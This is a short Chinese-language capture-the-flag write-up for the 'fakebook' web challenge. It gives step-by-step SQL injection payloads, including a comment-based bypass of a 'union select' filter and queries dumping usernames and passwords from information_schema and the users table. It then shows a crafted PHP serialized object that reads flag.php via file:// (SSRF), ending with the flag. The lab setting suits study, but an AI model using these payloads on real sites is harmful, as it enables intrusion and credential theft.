打开链接,出现login和join两个按钮,分别是登录和注册
login尝试一下发现无法登录
进入join进行注册
其中blog输入其它字符无法注册
在首页中,发现username可以点击进入
url的格式为?no=1,可能是SQL注入
判断注入点类型
no=1 and 1=1 #回显正确
no=1 and 1=2 #回显错误
判断列数
no=1 order by 4 #回显正确
no=1 order by 5 #回显错误
判断显示位
no=-1 union select 1,2,3,4 #回显no hack,发现存在过滤,需要绕过union select,no=-1 union/**/select 1,2,3,4 #
获取数据库名
构造no=-1 union/**/select 1,database(),3,4 #
获取表名
no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' #
获取列名
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
获取数据
no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users #
没有得到flag,发现数据库里的数据都是以序列化方式储存
数据中存在我们的博客地址,利用ssrf漏洞读取flag.php。构造序列化的内容,使用file协议读取文件
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
flag{c49d3803-6378-40a3-ac76-1f3f91e3624b}